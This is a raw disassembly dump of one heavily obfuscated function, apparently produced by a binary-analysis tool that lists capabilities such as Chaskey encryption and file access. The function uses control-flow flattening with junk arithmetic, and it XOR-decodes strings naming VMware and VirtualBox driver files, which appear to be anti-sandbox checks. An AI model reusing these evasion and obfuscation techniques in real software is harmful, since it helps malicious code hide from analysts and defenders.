Function at 0x1402b045d
Capabilities:
Authenticate hmac
Encrypt data using chaskey
Get common file path
Get file attributes
Hash data using murmur3

Disassembly:
push rax
pushf
mov eax, 0xc6c36248
pushf
not eax
add eax, 0x829e593a
xor eax, 0x8834b1ec
rol eax, 0x50
popf
pushf
not eax
add eax, 0xd9c32c40
xor eax, 0xa8a75992
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xb8e2ef0e
xor eax, 0xc55e1fb8
rol eax, 0x92
popf
pushf
not eax
add eax, 0xb7811d93
xor eax, 0xf00ae869
rol eax, 0x9d
popf
cmp eax, 4
jne 0x1402b04c0
popf
pop rax
jmp 0x1402b0f84
cmp eax, 0
jne 0x1402b04cf
popf
pop rax
jmp 0x1402b0673
cmp eax, 3
jne 0x1402b04de
popf
pop rax
jmp 0x1402b0f01
cmp eax, 1
jne 0x1402b04ed
popf
pop rax
jmp 0x1402b07f2
cmp eax, 0xd
jne 0x1402b04fc
popf
pop rax
jmp 0x1402b3c9a
cmp eax, 0x1a
jne 0x1402b050b
popf
pop rax
jmp 0x1402b5a30
cmp eax, 0xe
jne 0x1402b051a
popf
pop rax
jmp 0x1402b3d44
cmp eax, 0xb
jne 0x1402b0529
popf
pop rax
jmp 0x1402b2fb4
cmp eax, 0x19
jne 0x1402b0538
popf
pop rax
jmp 0x1402b59fa
cmp eax, 8
jne 0x1402b0547
popf
pop rax
jmp 0x1402b1e29
cmp eax, 0x1d
jne 0x1402b0556
popf
pop rax
jmp 0x1402b5c17
cmp eax, 0x17
jne 0x1402b0565
popf
pop rax
jmp 0x1402b5884
cmp eax, 0x1c
jne 0x1402b0574
popf
pop rax
jmp 0x1402b5bb4
cmp eax, 0x12
jne 0x1402b0583
popf
pop rax
jmp 0x1402b5476
cmp eax, 0x18
jne 0x1402b0592
popf
pop rax
jmp 0x1402b5951
cmp eax, 0x11
jne 0x1402b05a1
popf
pop rax
jmp 0x1402b53ce
cmp eax, 0x1b
jne 0x1402b05b0
popf
pop rax
jmp 0x1402b5b0c
cmp eax, 0x16
jne 0x1402b05bf
popf
pop rax
jmp 0x1402b5833
cmp eax, 0xa
jne 0x1402b05ce
popf
pop rax
jmp 0x1402b23fc
cmp eax, 0x14
jne 0x1402b05dd
popf
pop rax
jmp 0x1402b567a
cmp eax, 0xf
jne 0x1402b05ec
popf
pop rax
jmp 0x1402b49db
cmp eax, 0x13
jne 0x1402b05fb
popf
pop rax
jmp 0x1402b55b5
cmp eax, 0x15
jne 0x1402b060a
popf
pop rax
jmp 0x1402b5794
cmp eax, 2
jne 0x1402b0619
popf
pop rax
jmp 0x1402b08b5
cmp eax, 6
jne 0x1402b0628
popf
pop rax
jmp 0x1402b15cd
cmp eax, 0xc
jne 0x1402b0637
popf
pop rax
jmp 0x1402b3025
cmp eax, 7
jne 0x1402b0646
popf
pop rax
jmp 0x1402b1d7f
cmp eax, 5
jne 0x1402b0655
popf
pop rax
jmp 0x1402b155c
cmp eax, 9
jne 0x1402b0664
popf
pop rax
jmp 0x1402b2365
cmp eax, 0x10
jne 0x1402b0673
popf
pop rax
jmp 0x1402b4a72
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x510]
sub rsp, 0x610
mov rax, qword [0x14010a0d0]
xor rax, rsp
mov qword [rbp + 0x500], rax
mov edx, 0xdbd42b36
pushf
not edx
add edx, 0xa0026038
xor edx, 0xdc2b896b
rol edx, 0x93
popf
pushf
not edx
add edx, 0xce66b14e
xor edx, 0x9997155f
rol edx, 0x85
popf
pushf
not edx
add edx, 0xf3871b47
xor edx, 0xa32a8358
rol edx, 0x77
popf
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov esi, 0x6a8ead1f
pushf
not esi
add esi, 0xd9f92f15
xor esi, 0xefd21bb5
rol esi, 0x5b
popf
pushf
not esi
add esi, 0xc04d6da9
xor esi, 0x825ce284
rol esi, 0x24
popf
pushf
not esi
add esi, 0x900db1ec
xor esi, 0xc38ee319
rol esi, 0xfa
popf
pushf
not esi
add esi, 0x81719c7e
xor esi, 0xbbba3cbe
rol esi, 0xe2
popf
mov dword [rsp + 0x20], esi
mov eax, dword [rdx + rcx]
cmp dword [0x14012da00], eax
jle 0x1402b0799
push rax
pushf
mov eax, 0xdc1965cb
pushf
not eax
add eax, 0x997e3aa3
xor eax, 0xc2ba9870
rol eax, 1
popf
pushf
not eax
add eax, 0xd1edb2eb
xor eax, 0xd233199c
rol eax, 0xf
popf
jmp 0x1402b04b1
push rax
pushf
mov eax, 0xb47ce310
pushf
not eax
add eax, 0xb6c56cae
xor eax, 0x8201c022
rol eax, 0x13
popf
pushf
not eax
add eax, 0x8fd14b4c
xor eax, 0xe05eeb54
rol eax, 0x26
popf
pushf
not eax
add eax, 0x9a7e434b
xor eax, 0xe59c736c
rol eax, 0xf4
popf
pushf
not eax
add eax, 0x98b3dd21
xor eax, 0x85c6bc83
rol eax, 0xc7
popf
jmp 0x1402b04b1
lea rcx, [0x19eff4832]
pushf
sub rcx, 0x5eec6e32
popf
call fcn.14037c65e
cmp dword [0x14012da00], 0xffffffff
jne 0x1402b086f
push rax
pushf
mov eax, 0x786bc8f3
pushf
not eax
add eax, 0xb8d2bb12
xor eax, 0xb5010a98
rol eax, 0x9a
popf
pushf
not eax
add eax, 0x91cf6191
xor eax, 0xabfe3d6a
rol eax, 0xfc
popf
pushf
not eax
add eax, 0x906beae6
xor eax, 0xb010f813
rol eax, 0x56
popf
pushf
not eax
add eax, 0x9a491d5f
xor eax, 0xd38c767a
rol eax, 0xc7
popf
jmp 0x1402b04b1
push rax
pushf
mov eax, 0x96ea501c
pushf
not eax
add eax, 0x803d266c
xor eax, 0xb21c7547
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xe8e01538
xor eax, 0x9c1345a5
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xe2b41302
xor eax, 0x9431b708
rol eax, 0x58
popf
jmp 0x1402b04b1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [0x14012d9e0], xmm0
mov qword [0x14012d9f0], rax
mov edx, 0xb656f3cc
pushf
not edx
add edx, 0xf6d8fb87
xor edx, 0xb9e0af85
rol edx, 0xab
popf
pushf
not edx
add edx, 0xfa477537
xor edx, 0xafc68d5f
rol edx, 0x13
popf
pushf
not edx
add edx, 0xd2d41c23
xor edx, 0xb131c603
rol edx, 5
popf
mov dword [rsp + 0x40], edx
mov word [rbp + 0x2b0], dx
mov ecx, 0x3b7e276a
pushf
not ecx
add ecx, 0x9282a1ec
xor ecx, 0xeb7effc6
rol ecx, 0x78
popf
pushf
not ecx
add ecx, 0xd321c3bb
xor ecx, 0xcef664dd
rol ecx, 0x4d
popf
pushf
not ecx
add ecx, 0xb04175c2
xor ecx, 0xbbc12d0b
rol ecx, 0x14
popf
pushf
not ecx
add ecx, 0xce91ee96
xor ecx, 0xce431a41
rol ecx, 0xf6
popf
mov eax, 0x2915060d
pushf
not eax
add eax, 0xa748ebcd
xor eax, 0xf1a9d15b
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xc4e711ec
xor eax, 0x95d68ed1
rol eax, 1
popf
pushf
not eax
add eax, 0x894b19d6
xor eax, 0xbfba0c9c
rol eax, 0x5e
popf
pushf
not eax
add eax, 0xd936b16a
xor eax, 0xd732e6e3
rol eax, 0xd5
popf
mov word [rsp + 0x2a], ax
mov word [rsp + 0x24], cx
movzx r15d, ax
movzx r12d, ax
movzx r13d, dx
movzx eax, word [str._vm3dum.dll]
xor ax, dx
mov word [rsp + 0x26], ax
movzx eax, word [0x1400f84ca]
xor ax, dx
mov word [rsp + 0x28], ax
movzx edi, word [0x1400f84cc]
xor di, dx
movzx ebx, word [0x1400f84ce]
xor bx, dx
movzx r11d, word [0x1400f84d0]
xor r11w, dx
movzx r10d, word [0x1400f84d2]
xor r10w, dx
movzx r9d, word [0x1400f84d4]
xor r9w, dx
movzx r8d, word [0x1400f84d6]
xor r8w, dx
movzx edx, word [0x1400f84d8]
xor dx, r13w
movzx ecx, word [0x1400f84da]
xor cx, r13w
movzx eax, word [0x1400f84dc]
xor ax, r13w
mov r14d, 0x694145d9
pushf
not r14d
add r14d, 0xf268959d
xor r14d, 0xa43daee3
rol r14d, 0x9e
popf
pushf
not r14d
add r14d, 0xa266a69a
xor r14d, 0x9b8fff7e
rol r14d, 0xe8
popf
pushf
not r14d
add r14d, 0xf84f2389
xor r14d, 0xada18474
rol r14d, 0x17
popf
pushf
not r14d
add r14d, 0xc611c061
xor r14d, 0x81aef22a
rol r14d, 0xe5
popf
xor r14w, word [rsp + 0x40]
mov word [rbp + 0x2b2], r14w
mov esi, 0xf5994fdd
pushf
not esi
add esi, 0xf3d37a48
xor esi, 0xc0766230
rol esi, 0x32
popf
pushf
not esi
add esi, 0xb00f3d36
xor esi, 0x8ea67504
rol esi, 0xf9
popf
mov r14d, 0x958280c9
pushf
not r14d
add r14d, 0xc647c9e8
xor r14d, 0xe0bfb11f
rol r14d, 0xb1
popf
pushf
not r14d
add r14d, 0xe77d0e2a
xor r14d, 0x8806d5ba
rol r14d, 0x64
popf
pushf
not r14d
add r14d, 0xfd47f61a
xor r14d, 0x84aecdf5
rol r14d, 0xc8
popf
pushf
not r14d
add r14d, 0xc37d0edb
xor r14d, 0xe0d64759
rol r14d, 0x71
popf
xor si, r14w
mov word [rbp + 0x2b4], si
mov esi, 0x8443691f
pushf
not esi
add esi, 0xcc24d714
xor esi, 0xe4b065d5
rol esi, 0x6d
popf
pushf
not esi
add esi, 0xbd8234f2
xor esi, 0xfe2a7eb1
rol esi, 0x17
popf
pushf
not esi
add esi, 0x81103610
xor esi, 0xbde6f536
rol esi, 0x31
popf
pushf
not esi
add esi, 0xb3baa95e
xor esi, 0xb624f8ea
rol esi, 0x6d
popf
xor si, r14w
mov word [rbp + 0x2b6], si
mov esi, 0x46398a72
pushf
not esi
add esi, 0x8ae3ea7f
xor esi, 0xf501e08c
rol esi, 0x24
popf
pushf
not esi
add esi, 0xa4749983
xor esi, 0x89af1177
rol esi, 0xb1
popf
xor si, r14w
mov word [rbp + 0x2b8], si
mov r14d, 0x587adde
pushf
not r14d
add r14d, 0xfb0f30c0
xor r14d, 0x80a39620
rol r14d, 0xe4
popf
pushf
not r14d
add r14d, 0xc6d8072d
xor r14d, 0x871f7013
rol r14d, 0x9d
popf
pushf
not r14d
add r14d, 0xae704caa
xor r14d, 0xcfff134e
rol r14d, 0xc4
popf
xor r14w, word [rsp + 0x40]
mov word [rbp + 0x2ba], r14w
mov esi, 0x162d21c0
pushf
not esi
add esi, 0xa963b55b
xor esi, 0xef86758e
rol esi, 0xde
popf
pushf
not esi
add esi, 0xee298b65
xor esi, 0x881fb3c3
rol esi, 0x53
popf
pushf
not esi
add esi, 0x9a4f0c9b
xor esi, 0xb96cd584
rol esi, 0x24
popf
mov r14d, 0xc794e27
pushf
not r14d
add r14d, 0xa6a6e546
xor r14d, 0xe6f90d93
rol r14d, 0xc3
popf
pushf
not r14d
add r14d, 0xcd6f9f83
xor r14d, 0xe44acb17
rol r14d, 0x8b
popf
xor si, r14w
mov word [rbp + 0x2bc], si
movzx esi, r12w
xor si, r14w
mov word [rbp + 0x2be], si
mov esi, 0x2d3c5fda
pushf
not esi
add esi, 0xa113126c
xor esi, 0x9b36b7d4
rol esi, 0xf2
popf
pushf
not esi
add esi, 0xd4834890
xor esi, 0xb7db48ed
rol esi, 0xa9
popf
pushf
not esi
add esi, 0x9d87748d
xor esi, 0xebabb07a
rol esi, 0x25
popf
xor si, r14w
mov word [rbp + 0x2c0], si
movzx r14d, word [rsp + 0x24]
xor r14w, r13w
mov word [rbp + 0x2c2], r14w
mov r14d, 0xcffffa5a
pushf
not r14d
add r14d, 0xa5ea0bd1
xor r14d, 0xb6b9f760
rol r14d, 0xf6
popf
pushf
not r14d
add r14d, 0xcc840a79
xor r14d, 0xad1cb0c0
rol r14d, 4
popf
pushf
not r14d
add r14d, 0xed9d01b6
xor r14d, 0xf658d47c
rol r14d, 0x4e
popf
pushf
not r14d
add r14d, 0xcb426f9d
xor r14d, 0xa4cf797d
rol r14d, 0xc9
popf
xor r15w, r14w
mov word [rbp + 0x2c4], r15w
xor r12w, r14w
mov word [rbp + 0x2c6], r12w
xor r13w, r14w
mov word [rbp + 0x2c8], r13w
movzx esi, word [rsp + 0x26]
xor si, r14w
mov word [rbp + 0x2ca], si
movzx esi, word [rsp + 0x28]
xor si, r14w
mov word [rbp + 0x2cc], si
xor di, r14w
mov word [rbp + 0x2ce], di
xor bx, r14w
mov word [rbp + 0x2d0], bx
xor r11w, r14w
mov word [rbp + 0x2d2], r11w
xor r10w, r14w
mov word [rbp + 0x2d4], r10w
xor r9w, r14w
mov word [rbp + 0x2d6], r9w
xor r8w, r14w
mov word [rbp + 0x2d8], r8w
xor dx, r14w
mov word [rbp + 0x2da], dx
xor cx, r14w
mov word [rbp + 0x2dc], cx
xor ax, r14w
mov word [rbp + 0x2de], ax
xor ebx, ebx
mov word [rbp + 0x2e0], bx
movups xmmword [rbp + 0x1b0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x1c0], xmm1
lea rax, [rbp + 0x2b2]
mov r8, 0xffffffffffffffff
nop
push rax
pushf
mov eax, 0xb4d2123f
pushf
not eax
add eax, 0xa73d183b
xor eax, 0xed577bfd
rol eax, 0xf1
popf
pushf
not eax
add eax, 0xa8cafc00
xor eax, 0x9dc2ab9f
rol eax, 0xbe
popf
pushf
not eax
add eax, 0x96b4a192
xor eax, 0x8cfd9687
rol eax, 0xae
popf
pushf
not eax
add eax, 0xeb673cf9
xor eax, 0xe8c40b4e
rol eax, 0x74
popf
jmp 0x1402b04b1
inc r8
cmp word [rax + r8*2], bx
jne 0x1402b0f3e
push rax
pushf
mov eax, 0xff3ce619
pushf
not eax
add eax, 0xb2bcd1fb
xor eax, 0xc097b494
rol eax, 0x94
popf
pushf
not eax
add eax, 0x8b4e27ca
xor eax, 0x83f6e944
rol eax, 0xa6
popf
jmp 0x1402b04b1
push rax
pushf
mov eax, 0x2f80cee1
pushf
not eax
add eax, 0xb365d580
xor eax, 0xb4c93878
rol eax, 0x88
popf
pushf
not eax
add eax, 0xa8d91978
xor eax, 0xfd0b00fb
rol eax, 0x77
popf
pushf
not eax
add eax, 0xf534c0ba
xor eax, 0xd773f820
rol eax, 0xe2
popf
jmp 0x1402b04b1
lea rdx, [rbp + 0x2b2]
lea rcx, [rbp + 0x1b0]
call fcn.140226231
nop
mov r8d, 0xd8ce95f3
pushf
not r8d
add r8d, 0xd5250200
xor r8d, 0xa2723468
rol r8d, 0x2d
popf
pushf
not r8d
add r8d, 0xd2d537ef
xor r8d, 0xc230b244
rol r8d, 0x9f
popf
pushf
not r8d
add r8d, 0x9c62af0e
xor r8d, 0xd9669fdd
rol r8d, 2
popf
mov dword [rsp + 0x40], r8d
mov word [rsp + 0x58], r8w
mov ecx, 0xe1e3d1b1
pushf
not ecx
add ecx, 0xb968b634
xor ecx, 0xfb2e1fa6
rol ecx, 0x9d
popf
pushf
not ecx
add ecx, 0xc301d323
xor ecx, 0xb41e2667
rol ecx, 0x8f
popf
pushf
not ecx
add ecx, 0xe5cae56d
xor ecx, 0xb8c620b3
rol ecx, 0x2d
popf
mov r12d, 0xd2fd3ae2
pushf
not r12d
add r12d, 0x89b9d9c4
xor r12d, 0xbc63f909
rol r12d, 0xbd
popf
pushf
not r12d
add r12d, 0xb55db427
xor r12d, 0xe87de45b
rol r12d, 0x2c
popf
pushf
not r12d
add r12d, 0xd29deb9d
xor r12d, 0xdcd9560f
rol r12d, 0xaa
popf
pushf
not r12d
add r12d, 0x817d683d
xor r12d, 0x83269d0a
rol r12d, 0xd3
popf
mov word [rsp + 0x28], r12w
mov word [rsp + 0x26], cx
mov eax, 0xd2a3f33f
pushf
not eax
add eax, 0x90c97fc6
xor eax, 0xf810b70f
rol eax, 0x82
popf
pushf
not eax
add eax, 0xb4239297
xor eax, 0xdb4ea479
rol eax, 0x63
popf
mov word [rsp + 0x24], ax
movzx r14d, r8w
movzx eax, word [str._vmGuestLib.dll]
xor ax, r8w
mov word [rsp + 0x2a], ax
movzx r15d, word [0x1400f84e2]
xor r15w, r8w
movzx edi, word [0x1400f84e4]
xor di, r8w
movzx ebx, word [0x1400f84e6]
xor bx, r8w
movzx r11d, word [0x1400f84e8]
xor r11w, r8w
movzx r10d, word [0x1400f84ea]
xor r10w, r8w
movzx r9d, word [reloc.WS2_32.dll_WSAStartup]
xor r9w, r8w
movzx r8d, word [reloc.WS2_32.dll_WSACleanup]
xor r8w, r14w
movzx edx, word [0x1400f84f0]
xor dx, r14w
movzx ecx, word [0x1400f84f2]
xor cx, r14w
movzx eax, word [0x1400f84f4]
xor ax, r14w
mov r12d, 0x4032969f
pushf
not r12d
add r12d, 0xec7b9705
xor r12d, 0xa7c7d752
rol r12d, 0x95
popf
pushf
not r12d
add r12d, 0x8ba2decd
xor r12d, 0xa4c2fcf2
rol r12d, 0x35
popf
xor r12w, r14w
mov word [rsp + 0x5a], r12w
mov r13d, 0x454ff07c
pushf
not r13d
add r13d, 0x8ece6c1b
xor r13d, 0xa22f8a52
rol r13d, 0x6f
popf
pushf
not r13d
add r13d, 0xa4574068
xor r13d, 0xab70cbdf
rol r13d, 0xbe
popf
xor r13w, word [rsp + 0x40]
mov word [rsp + 0x5c], r13w
mov r12d, 0x6690691b
pushf
not r12d
add r12d, 0xa61d254c
xor r12d, 0x909d7775
rol r12d, 0xf1
popf
pushf
not r12d
add r12d, 0xd2ec06bb
xor r12d, 0xd22a24fa
rol r12d, 0x5b
popf
pushf
not r12d
add r12d, 0xf33a0248
xor r12d, 0x83c7bd24
rol r12d, 0xfa
popf
mov r13d, 0xe81d88b7
pushf
not r13d
add r13d, 0xca3c78e8
xor r13d, 0x91fcd153
rol r13d, 0x1e
popf
pushf
not r13d
add r13d, 0x8d36265a
xor r13d, 0xbe29c95b
rol r13d, 0x15
popf
pushf
not r13d
add r13d, 0x872de301
xor r13d, 0x9bec2058
rol r13d, 0x20
popf
xor r12w, r13w
mov word [rsp + 0x5e], r12w
mov r12d, 0x598997ca
pushf
not r12d
add r12d, 0xeecc0985
xor r12d, 0xcdc5cfbf
rol r12d, 0xf8
popf
pushf
not r12d
add r12d, 0xd210afc0
xor r12d, 0xb9b225e3
rol r12d, 0x41
popf
pushf
not r12d
add r12d, 0x91de181c
xor r12d, 0xa05eb8cf
rol r12d, 0xdd
popf
pushf
not r12d
add r12d, 0xbf70dd2b
xor r12d, 0xbe7df4ad
rol r12d, 0x9f
popf
xor r12w, r13w
mov word [rsp + 0x60], r12w
mov r13d, 0x55ce86ea
pushf
not r13d
add r13d, 0xc7a2bd4d
xor r13d, 0xf07275c1
rol r13d, 0x67
popf
pushf
not r13d
add r13d, 0x95859d9c
xor r13d, 0xc2635fdb
rol r13d, 0x97
popf
xor r13w, word [rsp + 0x40]
mov word [rsp + 0x62], r13w
movzx r12d, word [rsp + 0x28]
xor r12w, r14w
mov word [rsp + 0x64], r12w
movzx r13d, word [rsp + 0x26]
xor r13w, r14w
mov word [rsp + 0x66], r13w
xor esi, esi
xor si, r14w
mov word [rsp + 0x68], si
mov r13d, 0xdc0ef8d3
pushf
not r13d
add r13d, 0xbdb55deb
xor r13d, 0xb9f77887
rol r13d, 0x2c
popf
pushf
not r13d
add r13d, 0xc3544160
xor r13d, 0xf4aaf0e1
rol r13d, 0x3b
popf
pushf
not r13d
add r13d, 0xc40abc29
xor r13d, 0xa3dc2dcf
rol r13d, 0x48
popf
xor r13w, word [rsp + 0x40]
mov word [rsp + 0x6a], r13w
mov r12d, 0x8beb2f20
pushf
not r12d
add r12d, 0x8e149e78
xor r12d, 0x90147d79
rol r12d, 0x64
popf
pushf
not r12d
add r12d, 0xc78d7741
xor r12d, 0x9c9f4e35
rol r12d, 0
popf
pushf
not r12d
add r12d, 0xf766e525
xor r12d, 0xb843c8d2
rol r12d, 0xbd
popf
mov r13d, 0x164a3bf8
pushf
not r13d
add r13d, 0xcec75c3f
xor r13d, 0x85dcc8b5
rol r13d, 0xf1
popf
pushf
not r13d
add r13d, 0x86034298
xor r13d, 0xb41cccd4
rol r13d, 0x1a
popf
xor r12w, r13w
mov word [rsp + 0x6c], r12w
movzx esi, word [rsp + 0x24]
xor si, r13w
mov word [rsp + 0x6e], si
xor r14w, r13w
mov word [rsp + 0x70], r14w
movzx esi, word [rsp + 0x2a]
xor si, r13w
mov word [rsp + 0x72], si
xor r15w, r13w
mov word [rsp + 0x74], r15w
xor di, r13w
mov word [rsp + 0x76], di
xor bx, r13w
mov word [rsp + 0x78], bx
xor r11w, r13w
mov word [rsp + 0x7a], r11w
xor r10w, r13w
mov word [rsp + 0x7c], r10w
xor r9w, r13w
mov word [rsp + 0x7e], r9w
xor r8w, r13w
mov word [rbp - 0x80], r8w
xor dx, r13w
mov word [rbp - 0x7e], dx
xor cx, r13w
mov word [rbp - 0x7c], cx
xor ax, r13w
mov word [rbp - 0x7a], ax
xor eax, eax
mov word [rbp - 0x78], ax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x1e0], xmm1
lea rax, [rsp + 0x5a]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
push rax
pushf
mov eax, 0xe4c76c9e
pushf
not eax
add eax, 0xd43f34f5
xor eax, 0x917efb61
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xb67a095b
xor eax, 0xb6d0935f
rol eax, 0xa
popf
pushf
not eax
add eax, 0xb2025667
xor eax, 0xdf3b8a34
rol eax, 0xa7
popf
jmp 0x1402b04b1
inc r8
cmp word [rax + r8*2], 0
jne 0x1402b159a
push rax
pushf
mov eax, 0xa055ae4d
pushf
not eax
add eax, 0x8abb5057
xor eax, 0xf190b0fd
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xcfba134a
xor eax, 0x8a9d0c4c
rol eax, 0xac
popf
jmp 0x1402b04b1
push rax
pushf
mov eax, 0x733f2f31
pushf
not eax
add eax, 0xf5e1d947
xor eax, 0xc019e7c5
rol eax, 0x74
popf
pushf
not eax
add eax, 0xc5f2a712
xor eax, 0xe8ef3b5d
rol eax, 0x12
popf
jmp 0x1402b04b1
lea rdx, [rsp + 0x5a]
lea rcx, [rbp + 0x1d0]
call fcn.140226231
nop
mov ecx, 0x16104f8c
pushf
not ecx
add ecx, 0xd30f29fc
xor ecx, 0xb59e29e3
rol ecx, 7
popf
pushf
not ecx
add ecx, 0x9bb49108
xor ecx, 0xa480ab71
rol ecx, 0x79
popf
pushf
not ecx
add ecx, 0xb95e71c6
xor ecx, 0xd4aefd05
rol ecx, 0xad
popf
mov word [rbp - 0x30], cx
mov eax, 0x8b37ea1d
pushf
not eax
add eax, 0xfb98e347
xor eax, 0x9f25ccaa
rol eax, 0xac
popf
pushf
not eax
add eax, 0xa9ca491e
xor eax, 0xca5e7699
rol eax, 0x54
popf
pushf
not eax
add eax, 0xcdb848f9
xor eax, 0xfd6a6276
rol eax, 0x33
popf
pushf
not eax
add eax, 0xfcffd353
xor eax, 0xb4bfd52b
rol eax, 0x48
popf
mov word [rsp + 0x28], ax
movzx eax, word [str._vmhgfs.dll]
xor ax, cx
mov word [rsp + 0x26], ax
movzx eax, word [0x1400f8502]
xor ax, cx
mov word [rsp + 0x24], ax
movzx r12d, word [0x1400f8504]
xor r12w, cx
mov word [rsp + 0x2a], r12w
movzx r15d, word [0x1400f8506]
xor r15w, cx
movzx r14d, word [0x1400f8508]
xor r14w, cx
movzx esi, word [0x1400f850a]
xor si, cx
movzx edi, word [reloc.WS2_32.dll_WSAStartup]
xor di, cx
movzx ebx, word [0x1400f850e]
xor bx, cx
movzx r11d, word [0x1400f8510]
xor r11w, cx
movzx r10d, word [0x1400f8512]
xor r10w, cx
movzx r9d, word [0x1400f8514]
xor r9w, cx
movzx r8d, word [0x1400f8516]
xor r8w, cx
movzx edx, word [str.driversVBoxMouse.sys]
xor dx, cx
movzx ecx, word [0x1400f851a]
xor cx, 2
movzx eax, word [0x1400f851c]
xor ax, 2
mov r12d, 0xfb526a99
pushf
not r12d
add r12d, 0xef3c0fee
xor r12d, 0xff726e8c
rol r12d, 0x7e
popf
pushf
not r12d
add r12d, 0xd33868a8
xor r12d, 0xd01495b1
rol r12d, 0x54
popf
xor r12w, word [rsp + 0x20]
mov word [rbp - 0x2e], r12w
mov r12d, 0x3fc61757
pushf
not r12d
add r12d, 0xda2b50d4
xor r12d, 0xd744c956
rol r12d, 0x78
popf
pushf
not r12d
add r12d, 0xb60de579
xor r12d, 0xfbf71daa
rol r12d, 0x7a
popf
pushf
not r12d
add r12d, 0xaf3e57c0
xor r12d, 0x857d7844
rol r12d, 0x25
popf
xor r12w, word [rsp + 0x20]
mov word [rbp - 0x2c], r12w
mov r12d, 0x49e7b7f9
pushf
not r12d
add r12d, 0xc810182e
xor r12d, 0xebef492d
rol r12d, 0x5c
popf
pushf
not r12d
add r12d, 0x94c82f57
xor r12d, 0x836bbcc6
rol r12d, 0x85
popf
xor r12w, word [rsp + 0x20]
mov word [rbp - 0x2a], r12w
mov r12d, 0x6b90ed6
pushf
not r12d
add r12d, 0xd0baddd8
xor r12d, 0x973be09b
rol r12d, 0xd1
popf
pushf
not r12d
add r12d, 0x856e0561
xor r12d, 0xc82e1110
rol r12d, 0x27
popf
pushf
not r12d
add r12d, 0xe57bd1ce
xor r12d, 0x9ccdd356
rol r12d, 0x28
popf
xor r12w, word [rsp + 0x20]
mov word [rbp - 0x28], r12w
mov r12d, 0xee607a3d
pushf
not r12d
add r12d, 0x97296d78
xor r12d, 0xedc743fe
rol r12d, 0xbd
popf
pushf
not r12d
add r12d, 0xcc5299ce
xor r12d, 0x8ddfb756
rol r12d, 0xb4
popf
pushf
not r12d
add r12d, 0xf8ca6b74
xor r12d, 0xaa8d84f5
rol r12d, 0x60
popf
xor r12w, word [rsp + 0x20]
mov word [rbp - 0x26], r12w
mov r12d, 0xe697a1a1
pushf
not r12d
add r12d, 0xbb5d96ed
xor r12d, 0x9e248e46
rol r12d, 0xbc
popf
pushf
not r12d
add r12d, 0x941815cb
xor r12d, 0xbf69e7da
rol r12d, 0x9a
popf
xor r12w, word [rsp + 0x20]
mov word [rbp - 0x24], r12w
mov r12d, 0x6a277bc
pushf
not r12d
add r12d, 0x9a63ac5c
xor r12d, 0xbe005ac1
rol r12d, 0xb1
popf
pushf
not r12d
add r12d, 0xbd104fe2
xor r12d, 0xcbc2e3ad
rol r12d, 0xd2
popf
pushf
not r12d
add r12d, 0xfa18aec4
xor r12d, 0xa79d651f
rol r12d, 0x36
popf
pushf
not r12d
add r12d, 0xe9a453dd
xor r12d, 0x9050e083
rol r12d, 0xee
popf
xor r12w, word [rsp + 0x20]
mov word [rbp - 0x22], r12w
mov r12d, 0xa2a6064
pushf
not r12d
add r12d, 0x81941a31
xor r12d, 0x80971cdd
rol r12d, 0xe5
popf
pushf
not r12d
add r12d, 0xe95e35be
xor r12d, 0xdf263283
rol r12d, 0x60
popf
pushf
not r12d
add r12d, 0xcc30521c
xor r12d, 0x9583001f
rol r12d, 0x15
popf
xor r12w, word [rsp + 0x20]
mov word [rbp - 0x20], r12w
mov r12d, 0xae081c5d
pushf
not r12d
add r12d, 0xecd5a4ee
xor r12d, 0xce7d277b
rol r12d, 0x62
popf
pushf
not r12d
add r12d, 0xc08ecb5b
xor r12d, 0xbe607a82
rol r12d, 0xe8
popf
pushf
not r12d
add r12d, 0xa17c318d
xor r12d, 0x9b29d347
rol r12d, 4
popf
pushf
not r12d
add r12d, 0xd92ffef1
xor r12d, 0xf7003e0a
rol r12d, 0xb5
popf
xor r12w, word [rsp + 0x20]
mov word [rbp - 0x1e], r12w
mov r12d, 0x37856fc9
pushf
not r12d
add r12d, 0x9fe009d3
xor r12d, 0xd4bbcbea
rol r12d, 0x49
popf
pushf
not r12d
add r12d, 0xc433db68
xor r12d, 0xf4d99688
rol r12d, 0x71
popf
pushf
not r12d
add r12d, 0x87c267f7
xor r12d, 0xc119b8e6
rol r12d, 0x3b
popf
pushf
not r12d
add r12d, 0xb089d043
xor r12d, 0x8ffa6216
rol r12d, 0xab
popf
xor r12w, word [rsp + 0x20]
mov word [rbp - 0x1c], r12w
mov r12d, 0x42090439
pushf
not r12d
add r12d, 0x8d91de71
xor r12d, 0x9f3974c1
rol r12d, 0x18
popf
pushf
not r12d
add r12d, 0xd72d0d15
xor r12d, 0xe0585b56
rol r12d, 0xa1
popf
xor r12w, word [rsp + 0x20]
mov word [rbp - 0x1a], r12w
mov r12d, 0xe475529e
pushf
not r12d
add r12d, 0x83a8937b
xor r12d, 0x886935e9
rol r12d, 0xf8
popf
pushf
not r12d
add r12d, 0xf41fa621
xor r12d, 0xbf084b87
rol r12d, 0xc0
popf
xor r12w, word [rsp + 0x20]
mov word [rbp - 0x18], r12w
mov r12d, 0xc0bd4ee8
pushf
not r12d
add r12d, 0xbbb6cf60
xor r12d, 0xb17fb5a9
rol r12d, 0xfb
popf
pushf
not r12d
add r12d, 0x97c3a6c1
xor r12d, 0xa5ab7512
rol r12d, 0x6f
popf
xor r12w, word [rsp + 0x20]
mov word [rbp - 0x16], r12w
mov r13d, 0xf99edcba
pushf
not r13d
add r13d, 0x9b3c3a02
xor r13d, 0xdff0079f
rol r13d, 0x73
popf
pushf
not r13d
add r13d, 0xb607dd79
xor r13d, 0xafcdcc53
rol r13d, 0xd
popf
pushf
not r13d
add r13d, 0xac901b7d
xor r13d, 0xe7c4036b
rol r13d, 0x58
popf
mov r12d, 0x82852a44
pushf
not r12d
add r12d, 0xa0bed42c
